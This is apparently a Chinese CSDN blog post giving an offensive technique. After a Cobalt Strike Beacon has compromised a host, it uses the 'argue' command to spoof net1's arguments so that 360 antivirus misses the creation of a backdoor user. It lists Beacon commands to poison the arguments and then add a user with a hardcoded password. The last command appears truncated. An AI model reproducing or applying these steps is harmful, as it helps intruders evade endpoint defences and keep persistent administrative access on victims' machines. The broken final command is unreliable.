CobaltStrike的argue参数污染绕AV

在获取了对方主机CobaltStrike Beacon后,需要执行一些敏感的操作(如创建用户等)。但是目标主机有AV,执行敏感命令会直接报毒等,这时我们可以使用Cobaltstrike自带的argue参数污染来执行敏感操作。

使用argue参数污染创建新用户并加入管理员组中

使用前提:administrator 或 system权限。

执行创建新用户命令,360报毒

使用argus参数污染 net1 

#参数污染net1
argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#查看污染的参数
argue

用污染的 net1 创建用户,发现创建成功,360也不报毒

#用污染的net1执行敏感操作
execute net1 user test root123 /add
execute net1 local
已标记关键词 清除标记
©️2020 CSDN 皮肤主题: Age of Ai 设计师:meimeiellie 返回首页
实付 19.90元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值